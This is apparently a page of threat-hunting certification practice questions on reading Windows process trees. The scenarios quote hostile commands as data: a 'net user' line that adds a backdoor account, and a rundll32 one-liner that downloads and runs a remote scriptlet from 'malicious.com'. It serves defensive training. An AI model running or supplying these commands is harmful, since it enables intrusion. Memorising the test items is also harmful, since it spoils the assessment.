7.5 Investigate a Process Tree CCFH Practice Questions (Page 4)

Questions 16–20

1. 16foundation · easy

   In a process tree, which process is considered the parent of a newly spawned process?

   • AThe process that created it
   • BThe process that was started first on the system
   • CThe process with the lowest process ID (PID)
   • DThe process with the highest CPU usage
   Reveal Solution Discussion Select an answer first
2. 17expert · hard

   You are investigating a process tree where 'svchost.exe' is the parent of 'msiexec.exe', which then spawned 'cmd.exe' with the command line 'cmd.exe /c net user hacker P@ssw0rd /add'. The host is a file server that has been flagged for unusual outbound connections. Which correlation would be most useful to determine if this is a false positive?

   • ACheck if the msiexec.exe process is running with SYSTEM privileges
   • BVerify that the user 'hacker' exists in the local user database
   • CCheck the system's uptime to see if it recently rebooted
   • DLook for a corresponding MSI file that was recently installed on the system
   Reveal Solution Discussion Select an answer first
4. 18application · medium

   You are analyzing a process tree where a legitimate-looking process 'svchost.exe' has spawned an unusual child process 'powershell.exe' with the argument '-enc ...'. To confirm if this is malicious, which additional data source would provide the most valuable context?

   • AThe network connections initiated by the powershell.exe process
   • BThe file hash of powershell.exe
   • CThe user who is logged on to the system
   • DThe version of Windows installed on the host
   Reveal Solution Discussion Select an answer first
5. 19application · medium

   During a hunt, you observe a process tree where 'winword.exe' is the parent of 'powershell.exe', which then spawned 'rundll32.exe' with the command line 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://malicious.com/payload.sct")'. What is the most likely intent of this process tree?

   • AThe user is testing a new feature in Word
   • BThe user is using Word to run a legitimate script
   • CAn attacker is using a malicious macro in the Word document to download and execute a payload
   • DThe system is performing a legitimate update
   Reveal Solution Discussion Select an answer first
6. 20foundation · easy

   In a process tree investigation, what is the first step to trace the origin of a suspicious process?

   • AIdentify the parent process and examine its command line
   • BLook for the process in the Windows Event Log
   • CCheck the process's network connections
   • DReview the process's memory dump
   Reveal Solution Discussion Select an answer first